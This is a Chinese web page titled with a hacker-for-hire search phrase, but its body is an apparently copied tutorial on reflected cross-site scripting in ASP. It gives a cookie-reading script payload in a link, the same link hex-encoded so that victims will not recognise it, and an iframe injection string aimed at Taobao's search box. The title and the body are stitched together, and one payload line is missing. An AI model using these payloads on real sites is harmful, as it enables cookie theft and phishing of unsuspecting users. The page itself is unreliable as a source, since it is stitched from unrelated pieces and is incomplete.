怎么找先做事后付费的黑客(找黑客帮忙要多少钱)
- >
- 话题 >
使用过ASP的同学一定见过这样的代码： Hello, 复制代码代码如下: 假如我传入的name的值为： [Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]这样就
使用过ASP的同学一定见过这样的代码：
Hello,
复制代码代码如下:
<%
Response.Write(Request.Querystring("name"))
%>
假如我传入的name的值为：
[Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]
这样就可以直接盗取用户的cookie。所以我就可以发送一条链接地址让别人去点：
复制代码代码如下:
http://www.xxx.com/reg.asp?name=<script>x=document.cookie;alert(x);</script>
当然这样做没有一点隐蔽性，虽然前面的xxx.com瞒过了少数人，但大多数人可以辨认出后面的javascript代码，所以，我只需要将后面的javascript代码转换成URL的16进制，如：
复制代码代码如下:
http://www.xxx.com/reg.asp?name=%3C%73%63%72%69%70%74%3E%78%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%61%6C%65%72%74%28%78%29%3B%3C%2F%73%63%72%69%70%74%3E
上面的URL你还认得吗？除非你把它转换出来。（进制转换可以使用Napkin工具，哎，太坏了。。）
根本原因
1. 没有对输入进行约束，没有对输出进行编码
2. 没有严格区分“数据”和“代码”
示例
发现大名鼎鼎的淘宝网也存在这样的漏洞，我们在搜索框中输入：
复制代码代码如下:
"/><div style="position:absolute;left:0px;top:0px;"><iframe src="http://www.baidu.com" FRAMEBORDER=0 width=1000 height=900/></div><a href="
- 发表于 2020-11-28 11:39
- 阅读 ( 262 )
- 分类：互联网
0 条评论
请先 登录 后评论
